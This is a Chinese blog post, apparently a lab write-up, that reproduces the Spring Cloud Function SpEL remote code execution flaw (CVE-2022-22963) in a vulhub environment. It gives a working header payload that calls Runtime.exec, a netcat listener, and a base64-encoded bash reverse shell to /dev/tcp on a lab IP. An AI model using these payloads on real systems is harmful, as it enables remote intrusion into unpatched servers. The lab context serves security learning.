• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

vulhub系列CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行漏洞复现

武飞扬头像
一只学网安的小白。
帮助1

文章目录:

  1. 漏洞信息

  2. 所需环境

  3. 搭建环境

  4. 漏洞复现

  5. 反弹shell

    总结

漏洞信息

漏洞名称:Spring Cloud Function SpEL 远程代码执行漏洞

危害等级:高危

漏洞类型:中间件漏洞

漏洞概述:由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,当使用路由功能时,攻击者可利用该漏洞远程执行任意代码。

所需环境

  • Linux(kali)操作系统
  • vilhub靶场
  • windows7(nc)

搭建环境

  1. 进入目标目录:cd/桌面/vulhub-master/spring/CVE-2022-22963
  2. 打开dockers容器:docker-compose up -d
  3. 查看主机IP地址:ifconfig
  4. 查看容器开启的端口:docker ps
  5. 地址加端口查看服务:http://192.168.162.129:8080/functionRouter

示例:

学新通


 

漏洞复现

POC:

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")

对靶场进行抓包,并将包转换为post型,在转换后的包内添加poc,并发送:

示例:

学新通

返回到kali虚拟机内,打开终端输入:docker-compose exec spring bash

进入到容器内,输入命令:cd /tmp可以看到成功创建了success文件

示例:

学新通

反弹shell:

反弹Shell命令一键生成

base64加密网站

打开nc所在操作系统,查看系统IP(windows系统为ipconfig):

示例: 学新通

 打开nc并监听端口:

nc -lvnp 9988 #注意打开的端口不能被占用

 示例:
学新通

打开上面的nc生成网页链接将所需信息输入进去:

(红色下划线的输入nc所在的虚拟机的ip,绿色圆圈内的是nc监听的端口,黑色圈圈内的是ase64加密的内容) 

示例:学新通

得到:

sh -i >& /dev/tcp/192.168.162.130/9988 0>&1 #IP为nc所在操作系统的IP,端口为nc监听的端口

进行base64加密:

bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xNjIuMTMwLzk5ODggMD4mMQ==}|{base64,-d}|{bash,-i}


示例:

学新通

 将加密后的命令加入数据包并发包:

示例:

学新通

返回nc所在操作系统,反弹shell成功:

示例:

学新通


总结

身为一个网络安全的新人,对于我而言,每一次的复现都是一次宝贵的经验,希望各位大佬能够喜欢,希望各位大佬给个关注,谢谢。

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgjjiah
系列文章
更多 icon
同类精品
更多 icon
继续加载